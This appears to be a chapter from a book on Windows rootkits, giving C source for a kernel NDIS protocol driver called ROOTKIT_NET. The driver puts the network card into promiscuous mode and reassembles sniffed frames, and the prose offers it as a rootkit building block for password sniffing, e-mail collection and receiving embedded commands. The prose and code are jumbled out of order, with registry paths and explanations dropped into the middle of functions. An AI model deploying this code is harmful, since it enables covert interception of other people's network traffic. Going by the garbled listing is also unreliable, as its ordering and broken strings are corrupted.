Kernel TCP/IP Support for Your Rootkit Using NDIS
So far, we have shown only how to craft raw packets from a user-mode program. This is fine for experiments, but when it comes to creating a real-world rootkit, you must be able to send and receive raw packets from the kernel.Using the NDIS interface allows a driver access to raw packets. While NDIS is best used to sniff packets, you can also send raw packets using an NDIS driver.Our example is an NDIS protocol driver. It allows forging as well as sniffing of raw packets. Our protocol driver does not filter packets; we cannot control packets going to and from the host (our rootkit is not a packet firewall). We get a copy of each packet to sniff, not the original.To start sniffing, we must first register a protocol, and then define callback functions that will handle events.
Registering the Protocol
In order to begin sniffing packets, you must register a protocol-characteristics structure with the system. This requires a linkage argument that specifies which interface (Ethernet interface, wireless card, etc.) you will be working with. The interface is sometimes called the MAC. In our example, we hard-code this argument, and we give our protocol the name ROOTKIT_NET.
You can obtain the list of potential interfaces from either of the following registry keys[17]:[17] Code to get TCP bindings can be found at: www.winpcap.polito.it/docs/man/html/Packet_8c-sourcel.
#include "ntddk.h"
// Important! Place this before ndis.h.
#define NDIS40 1
#include "ndis.h"
#include "stdio.h"
struct UserStruct
{
ULONG mData;
} gUserStruct;
// handle to the open network adapter
NDIS_HANDLE gAdapterHandle;
NDIS_HANDLE gNdisProtocolHandle;
NDIS_EVENT gCloseWaitEvent;
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
UINT aMediumIndex = 0;
NDIS_STATUS aStatus, anErrorStatus;
// We try only 802.3.
NDIS_MEDIUM aMediumArray=NdisMedium802_3;
UNICODE_STRING anAdapterName;
NDIS_PROTOCOL_CHARACTERISTICS aProtocolChar;
NDIS_STRING aProtoName = NDIS_STRING_CONST("ROOTKIT_NET");
DbgPrint("ROOTKIT Loading...");
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCardsHKLM\SYSTEM\CurrentControlSet\Services\TcpIp\Linkage
For example, one of our test systems has the following linkages:
We initialize the adapter name with the linkage name. The format of the string is \Device\{GUID}. Note the use of the "L" prefix before the string. This causes the compiler to treat the string as a UNICODE string.
\Device\{6C0B978B-812D-4621-A30B-FD72F6C446AF} ORiNOCO Wireless LAN PC Card (5 volt)
\Device\{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5}
\Device\{5436B920-2709-4250-918D-B4ED3BB8CF9A} Dell TrueMobile 1150 Series Wireless
LAN Mini PCI Card
\Device\{5A6C6428-C5F2-4BA5-A469-49F607B369F2} 1394 Net Adapter
\Device\{357AC276-D8E7-47BF-954D-F3123D3319BD} 3Com 3C920 Integrated Fast Ethernet
Controller (3C905C-TX Compatible)
\Device\{6D615BDB-A6C2-471D-992E-4C0B431334F1} 1394 Net Adapter
\Device\{83EE41D0-5088-4CC7-BC99-CEA55D5662D2} 3Com 3C920 Integrated Fast Ethernet
Controller (3C905C-TX Compatible)
\Device\NdisWanIp
\Device\{147E65D7-4065-4249-8679-F79DB39CFC27}
\Device\{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F}
Next, we initialize the ProtocolCharacteristics structure. This structure includes a series of function pointers that must be initialized. These pointers specify callback functions for a variety of events that will occur. There are many events, but the one we are most interested in occurs when a packet arrives from the network. This is how we can sniff packets. Each of our callback functions is named OnXXX and OnXXX Done, where XXX is named according to the callback.
RtlInitUnicodeString(
&anAdapterName,
L"\\Device\\{453CCFA6-B612-48A2-8389-309D3EC35532}" );
// init sync event for close
NdisInitializeEvent(&gCloseWaitEvent);
theDriverObject->DriverUnload = OnUnload;
Finally, we call NdisRegisterProtocol to register the protocol-characteristics structure with the system. This must occur before we can bind to the adapter and start receiving packets.
///////////////////////////////////////////////////////////
// init network sniffer - This is all standard and
// documented in the DDK.
///////////////////////////////////////////////////////////
RtlZeroMemory( &aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
aProtocolChar.MajorNdisVersion = 4;
aProtocolChar.MinorNdisVersion = 0;
aProtocolChar.Reserved = 0;
aProtocolChar.OpenAdapterCompleteHandler = OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler = OnSendDone;
aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;
aProtocolChar.ResetCompleteHandler = OnResetDone;
aProtocolChar.RequestCompleteHandler = OnRequestDone;
aProtocolChar.ReceiveHandler = OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler = OnReceiveDoneStub;
aProtocolChar.StatusHandler = OnStatus;
aProtocolChar.StatusCompleteHandler = OnStatusDone;
aProtocolChar.Name = aProtoName;
aProtocolChar.BindAdapterHandler = OnBindAdapter;
aProtocolChar.UnbindAdapterHandler = OnUnbindAdapter;
aProtocolChar.UnloadHandler = OnProtocolUnload;
aProtocolChar.ReceivePacketHandler = OnReceivePacket;
aProtocolChar.PnPEventHandler = OnPNPEvent;
DbgPrint("ROOTKIT: Registering NDIS Protocol\n");
If the protocol has been registered successfully, we then call NdisOpenAdapter(). NdisOpenAdapter "connects" us to the specified interface. Once this call is made, the callback functions begin to be called by the NDIS library. Think of this point in the code as "going live."Note that NdisOpenAdapter can return a status code of "pending." This means that the open operation did not complete immediately. If this happens, the NDIS library will call our callback OnOpenAdapterDone once the operation has completed. In this way, our code never blocks. On the other hand, if NdisOpenAdapter does complete immediately, we must specifically call OnOpenAdapterDone.It is very important to remember that we must call the XXX Done version of a callback if a call completes immediately.
// We must register a protocol before we can bind to the MAC.
NdisRegisterProtocol(&aStatus,
&gNdisProtocolHandle,
&aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
if (aStatus != NDIS_STATUS_SUCCESS)
{
char _t[255];
_snprintf(_t, 253, "DriverEntry: ERROR
NdisRegisterProtocol failed with
error 0x%08X", aStatus);
DbgPrint(_t);
return aStatus;
}
We have seen how to define and register a protocol. Next we discuss the callback functions that will handle events.
// NdisOpenAdapter opens a connection between the protocol
// and the physical adapter (MAC layer).
NdisOpenAdapter(
&aStatus, // return code
&anErrorStatus, // return code
&gAdapterHandle, // returns a handle to the binding
&aMediumIndex, // ptr to int which is an
// index into a 'medium' array -
// indicates what the MAC should
// be 'viewed' as
&aMediumArray, // array of 'medium' types
1, // number of elements in the 'medium' array
gNdisProtocolHandle, // the handle returned from
// NdisRegisterProtocol
&gUserStruct, // ptr to a user controlled
// structure. This is up to the programmer.
&anAdapterName, // name of the adapter to be opened
0, // bit mask of options
NULL); // ptr to additional info to
// pass to MacOpenAdapter
if (aStatus != NDIS_STATUS_PENDING)
{
if(FALSE == NT_SUCCESS(aStatus))
{
// Something bad happened; close everything down.
char _t[255];
_snprintf(_t, 253, "ROOTKIT: NdisOpenAdapter
returned an error 0x%08X",
aStatus);
DbgPrint(_t);
// helpful hint
if(NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus)
{
DbgPrint("NDIS_STATUS_ADAPTER_NOT_FOUND");
}
// Remove the protocol or suffer a BSOD!
NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(aStatus))
{
DbgPrint("DeregisterProtocol failed!");
}
// Use for winCE -
NdisFreeEvent(gCloseWaitEvent);
return STATUS_UNSUCCESSFUL;
}
else
{
OnOpenAdapterDone(
&gUserStruct,
aStatus,
NDIS_STATUS_SUCCESS
);
}
}
return STATUS_SUCCESS;
}
The Protocol Driver Callbacks
Although they must exist, most of our callback functions do nothing. The only ones requiring specific implementation are OnOpenAdapterDone and OnCloseAdapterDone. We also add some code to OnReceiveStub to print information whenever a packet it sniffed.The OnOpenAdapterDone function checks to see whether there has been an error opening the interface. If everything is fine, it then attempts to put the interface into promiscuous modethat is, sniffing all packets on the network. This is done using a call to NdisRequest and mode NDIS_PACKET_TYPE_PROMISCUOUS:
Next we set an event in OnCloseAdapterDone to indicate to the rest of the driver when a close operation has completed. This enables the rootkit to determine whether it is necessary to wait for the interface to close before unloading the driver from memory.
VOID
OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN NDIS_STATUS OpenErrorStatus )
{
NDIS_REQUEST anNdisRequest;
NDIS_STATUS anotherStatus;
ULONG aMode = NDIS_PACKET_TYPE_PROMISCUOUS;
DbgPrint("ROOTKIT: OnOpenAdapterDone called\n");
if(NT_SUCCESS(OpenErrorStatus))
{
// Put the card into promiscuous mode.
anNdisRequest.RequestType = NdisRequestSetInformation;
anNdisRequest.DATA.SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION .InformationBufferLength = sizeof(ULONG);
NdisRequest(&anotherStatus,
gAdapterHandle,
&anNdisRequest );
}
else
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called with
error code 0x%08X",
OpenErrorStatus);
DbgPrint(_t);
}
}
The OnReceiveStub function is called whenever a packet is sniffed from the network. The HeaderBuffer argument will contain a pointer to the Ethernet header. The LookAheadBuffer may contain a pointer to the rest of the packet.Warning: the look-ahead buffer is not guaranteed to contain the entire packet. You cannot rely solely upon the look-ahead buffer to sniff complete packets.In our example, we simply return NDIS_STATUS_NOT_ACCEPTED to indicate that we aren't interested in the packet.
VOID
OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnCloseAdapterDone called\n");
// Sync with unload event.
NdisSetEvent(&gCloseWaitEvent);
}
VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnSendDone called\n");
}
VOID
OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,
IN PNDIS_PACKET thePacketP,
IN NDIS_STATUS theStatus,
IN UINT theBytesTransfered )
{
DbgPrint("ROOTKIT: OnTransferDataDone called\n");
}
Finally, we implement an unload routine. This routine closes the adapter, and then waits for an event that will fire when the adapter has been closed (recall OnCloseAdapterDone, discussed earlier). Unless we wait for the adapter to close, our callback functions may still get called. If we unload the driver without closing the adapter first, an attempt will be made to call our callback functions after they have been unloaded from memoryhence, a big fat Blue Screen of Death!
/* a packet has arrived */
NDIS_STATUS
OnReceiveStub(
IN NDIS_HANDLE ProtocolBindingContext, /* our open
structure */
IN NDIS_HANDLE MacReceiveContext,
IN PVOID HeaderBuffer, /* ethernet header */
IN UINT HeaderBufferSize,
IN PVOID LookAheadBuffer, /* it is possible to have
entire packet in here */
IN UINT LookaheadBufferSize,
UINT PacketSize )
{
char _t[255];
UINT aFrameType = 0;
// Report the frame type to the debugger.
memcpy(&aFrameType, ( ((char *)HeaderBuffer) + 12), 2);
_snprintf(_t, 253, "sniffed frame type %u, packetsize %u",
aFrameType, PacketSize);
DbgPrint(_t);
// Ignore everything.
return NDIS_STATUS_NOT_ACCEPTED;
}
VOID
OnReceiveDoneStub( IN NDIS_HANDLE ProtocolBindingContext )
{
DbgPrint("ROOTKIT: OnReceiveDoneStub called\n");
return;
}
VOID
OnStatus( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN PVOID StatusBuffer,
IN UINT StatusBufferSize )
{
DbgPrint("ROOTKIT: OnStatus called\n");
return;
}
VOID
OnStatusDone( IN NDIS_HANDLE ProtocolBindingContext )
{
DbgPrint("ROOTKIT:OnStatusDone called\n");
return;
}
VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnResetDone called\n");
return;
}
VOID
OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_REQUEST NdisRequest,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnRequestDone called\n");
return;
}
VOID OnBindAdapter(OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_STRING theDeviceNameP,
IN PVOID theSS1,
IN PVOID theSS2 )
{
DbgPrint("ROOTKIT: OnBindAdapter called\n");
return;
}
VOID OnUnbindAdapter(OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_HANDLE theUnbindContext )
{
DbgPrint("ROOTKIT: OnUnbindAdapter called\n");
return;
}
NDIS_STATUS OnPNPEvent(IN NDIS_HANDLE
ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent)
{
DbgPrint("ROOTKIT: PtPnPHandler called");
return NDIS_STATUS_SUCCESS;
}
VOID OnProtocolUnload( VOID )
{
DbgPrint("ROOTKIT: OnProtocolUnload called");
return;
}
INT OnReceivePacket(IN NDIS_HANDLE
ProtocolBindingContext,
IN PNDIS_PACKET Packet )
{
DbgPrint("ROOTKIT: OnReceivePacket called\n");
return 0;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
NDIS_STATUS Status;
DbgPrint("ROOTKIT: OnUnload called\n");
NdisResetEvent(&gCloseWaitEvent);
NdisCloseAdapter(
&Status,
gAdapterHandle);
// We must wait for this to complete.
// ---------------------------------
if(Status == NDIS_STATUS_PENDING)
{
DbgPrint("rootkit: OnUnload: pending wait event\n");
NdisWaitEvent(&gCloseWaitEvent, 0);
}
NdisDeregisterProtocol( &Status, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(Status))
{
DbgPrint("DeregisterProtocol failed!");
}
// Use for winCE - NdisFreeEvent(gCloseWaitEvent);
DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done\n");
}
Moving Whole Packets
As we stated earlier, the OnReceiveStub function does not always receive whole packets in the LookAheadBuffer. We must implement a way to ensure that we get the entire packet. This requires a call to NdisTransportData and the management of some buffer structures.We create two additional global variables, for a packet pool and a buffer pool. Then, in OnOpenAdapterDone, we initialize these variables, using NdisAllocatePacketPool and NdisAllocateBufferPool:
Using the buffer and packet pool handles, we can now initiate a data move operation in our receive callback. We check to make sure that the packet is an Ethernet packet, and then store the Ethernet header. We then allocate a buffer and a packet from our pool. The NDIS_PACKET structure contains a reserved field where we store a copy of the Ethernet header. The NDIS_PACKET structure also includes a chain of buffers to which the rest of the packet is copied. We allocate one buffer large enough to hold the remaining packet, and "chain" it to the NDIS_PACKET. Now we call NdisTransferData to move the rest of the packet into the chained buffer.NdisTransferData may complete immediately, or it may return a status code of "pending." If the operation is pending, the OnTransferDataDone callback will be called when it is complete. Remember that if NdisTransferData completes immediately, we must call OnTransferDataDone ourselves!
NDIS_HANDLE gPacketPoolH;
NDIS_HANDLE gBufferPoolH;
VOID
OnOpenAdapterDone(IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN NDIS_STATUS OpenErrorStatus )
{
NDIS_STATUS aStatus;
NDIS_REQUEST anNdisRequest;
NDIS_STATUS anotherStatus;
ULONG aMode = NDIS_PACKET_TYPE_PROMISCUOUS;
DbgPrint("ROOTKIT: OnOpenAdapterDone called\n");
if(NT_SUCCESS(OpenErrorStatus))
{
// Put the card into promiscuous mode.
anNdisRequest.RequestType = NdisRequestSetInformation;
anNdisRequest.DATA.SET_INFORMATION.Oid =
OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION. InformationBufferLength = sizeof(ULONG);
NdisRequest( &anotherStatus,
gAdapterHandle,
&anNdisRequest );
NdisAllocatePacketPool(
&aStatus,
&gPacketPoolH,
TRANSMIT_PACKETS,
sizeof(PACKET_RESERVED));
if (aStatus != NDIS_STATUS_SUCCESS)
{
return;
}
NdisAllocateBufferPool(
&aStatus,
&gBufferPoolH,
TRANSMIT_PACKETS );
if (aStatus != NDIS_STATUS_SUCCESS)
{
return;
}
}
else
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called
with error code 0x%08X",
OpenErrorStatus);
DbgPrint(_t);
}
}
Finally, let's look at OnTransferDataDone to see how we reconstruct the whole packet. We get the header buffer that we previously stored in the NDIS_PACKET reserved field, and we also get the remaining packet data from our chained buffer. The chained buffer does not include the header buffer, so we concatenate the two buffers to reconstruct the entire raw frame. We then free and reinitialize the buffer and packet-pool resources so they can be used again.Once we have the complete raw frame, we call an OnSniffedPacket function with a pointer to the frame and its length:
/* a packet has arrived */
NDIS_STATUS
OnReceiveStub( IN NDIS_HANDLE ProtocolBindingContext, /* our open structure */
IN NDIS_HANDLE MacReceiveContext,
IN PVOID HeaderBuffer, /* ethernet header */
IN UINT HeaderBufferSize,
IN PVOID LookAheadBuffer, /* it is possible to
have entire packet in here*/
IN UINT LookaheadBufferSize,
UINT PacketSize )
{
PNDIS_PACKET pPacket;
PNDIS_BUFFER pBuffer;
ULONG SizeToTransfer = 0;
NDIS_STATUS Status;
UINT BytesTransfered;
ULONG BufferLength;
PPACKET_RESERVED Reserved;
NDIS_HANDLE BufferPool;
PVOID aTemp;
UINT Frame_Type = 0;
DbgPrint("ROOTKIT: OnReceiveStub called\n");
SizeToTransfer = PacketSize;
if( (HeaderBufferSize > ETHERNET_HEADER_LENGTH)
||
(SizeToTransfer > (1514 - ETHERNET_HEADER_LENGTH) ))
{
DbgPrint("ROOTKIT: OnReceiveStub returning unaccepted
packet\n");
return NDIS_STATUS_NOT_ACCEPTED;
}
memcpy(&Frame_Type, ( ((char *)HeaderBuffer) + 12), 2);
/*
* ignore everything
* except IP (network byte order)
*/
if(Frame_Type != 0x0008)
{
DbgPrint("Ignoring NON-Ethernet frame");
return NDIS_STATUS_NOT_ACCEPTED;
}
/* store ethernet payload */
aTemp = ExAllocatePool( NonPagedPool, (1514 - ETHERNET_HEADER_LENGTH ));
if(aTemp)
{
//DbgPrint("ROOTKIT: ORI: store ethernet payload\n");
RtlZeroMemory(aTemp, (1514 - ETHERNET_HEADER_LENGTH ));
NdisAllocatePacket(
&Status,
&pPacket,
gPacketPoolH /*previous NdisAllocatePacketPool*/
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: store ethernet header\n");
/* store ethernet header */
RESERVED(pPacket)->pHeaderBufferP = ExAllocatePool(
NonPagedPool,
ETHERNET_HEADER_LENGTH);
DbgPrint("ROOTKIT: ORI: checking ptr\n");
if(RESERVED(pPacket)->pHeaderBufferP)
{
//DbgPrint("ROOTKIT: ORI: pHeaderBufferP\n");
RtlZeroMemory(
RESERVED(pPacket)->pHeaderBufferP,
ETHERNET_HEADER_LENGTH);
memcpy(RESERVED(pPacket)->pHeaderBufferP,
(char *)HeaderBuffer,
ETHERNET_HEADER_LENGTH);
RESERVED(pPacket)->pHeaderBufferLen = ETHERNET_HEADER_LENGTH;
NdisAllocateBuffer(
&Status,
&pBuffer,
gBufferPoolH,
aTemp,
(1514 - ETHERNET_HEADER_LENGTH)
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: NDIS_STATUS_SUCCESS\n");
/* I have to release this later */
RESERVED(pPacket)->pBuffer = aTemp;
/* Attach our buffer to the packet..
important */
NdisChainBufferAtFront(pPacket, pBuffer);
//DbgPrint("ROOTKIT: ORI: NdisTransferData\n");
NdisTransferData(
&(gUserStruct.mStatus),
gAdapterHandle,
MacReceiveContext,
0,
SizeToTransfer,
pPacket,
&BytesTransfered);
if (Status != NDIS_STATUS_PENDING)
{
//DbgPrint("ROOTKIT: ORI: did not pend\n");
/* If it didn't pend, call the
completion routine now */
OnTransferDataDone(
&gUserStruct,
pPacket,
Status,
BytesTransfered
);
}
return NDIS_STATUS_SUCCESS;
}
ExFreePool(RESERVED(pPacket)->pHeaderBufferP);
}
else
{
DbgPrint("ROOTKIT: ORI: pHeaderBufferP allocation failed!\n");
}
//DbgPrint("ROOTKIT: ORI: NdisFreePacket()\n");
NdisFreePacket(pPacket);
}
//DbgPrint("ROOTKIT: ORI: ExFreePool()\n");
ExFreePool(aTemp);
}
return NDIS_STATUS_SUCCESS;
}
The OnSniffedPacket function can do anything you want. Our example just prints some data about the packet.
VOID
OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,
IN PNDIS_PACKET thePacketP,
IN NDIS_STATUS theStatus,
IN UINT theBytesTransfered )
{
PNDIS_BUFFER aNdisBufP;
PVOID aBufferP;
ULONG aBufferLen;
PVOID aHeaderBufferP;
ULONG aHeaderBufferLen;
//DbgPrint("ROOTKIT: OnTransferDataDone called\n");
///////////////////////////////////////////////////////////
// We have a complete packet here, so process internally.
///////////////////////////////////////////////////////////
aBufferP = RESERVED(thePacketP)->pBuffer;
aBufferLen = theBytesTransfered;
aHeaderBufferP = RESERVED(thePacketP)->pHeaderBufferP;
aHeaderBufferLen = RESERVED(thePacketP)->pHeaderBufferLen;
///////////////////////////////////////////////////////////
// aHeaderBufferP should be the Ethernet Header.
// aBufferP should be the TCP/IP packet
///////////////////////////////////////////////////////////
if(aBufferP && aHeaderBufferP)
{
ULONG aPos = 0;
char *aPtr = NULL;
aPtr = ExAllocatePool( NonPagedPool,
(aHeaderBufferLen + aBufferLen) );
if(aPtr)
{
memcpy(aPtr,
aHeaderBufferP,
aHeaderBufferLen );
memcpy(aPtr + aHeaderBufferLen,
aBufferP,
aBufferLen );
// We have a complete packet ready to examine.
// First parse this packet for embedded commands.
OnSniffedPacket(aPtr, (aHeaderBufferLen + aBufferLen));
ExFreePool(aPtr);
}
//DbgPrint("ROOTKIT: OTDD: Freeing Packet Memory\n");
ExFreePool(aBufferP); // We are full.
ExFreePool(aHeaderBufferP); // We are full.
}
/* free buffer */
//DbgPrint("ROOTKIT: OTDD: NdisUnchainBufferAtFront\n");
NdisUnchainBufferAtFront(
thePacketP, &aNdisBufP); // free buffer descriptor
if(aNdisBufP) NdisFreeBuffer(aNdisBufP);
/* recycle */
//DbgPrint("ROOTKIT: OTDD: NdisReinitializePacket\n");
NdisReinitializePacket(thePacketP);
NdisFreePacket(thePacketP);
return;
}
We now have all the basic building blocks for raw packet sniffing in our rootkit. We could use this for password sniffing, passive scanning, or e-mail collection. We next discuss some of the effects that are possible if we also send packets to the network.
void OnSniffedPacket(const char* theData, int theLen)
{
char _c[255];
_snprintf(_c, 253, "OnSniffedPacket: got packet length %d", theLen);
DbgPrint(_c);
}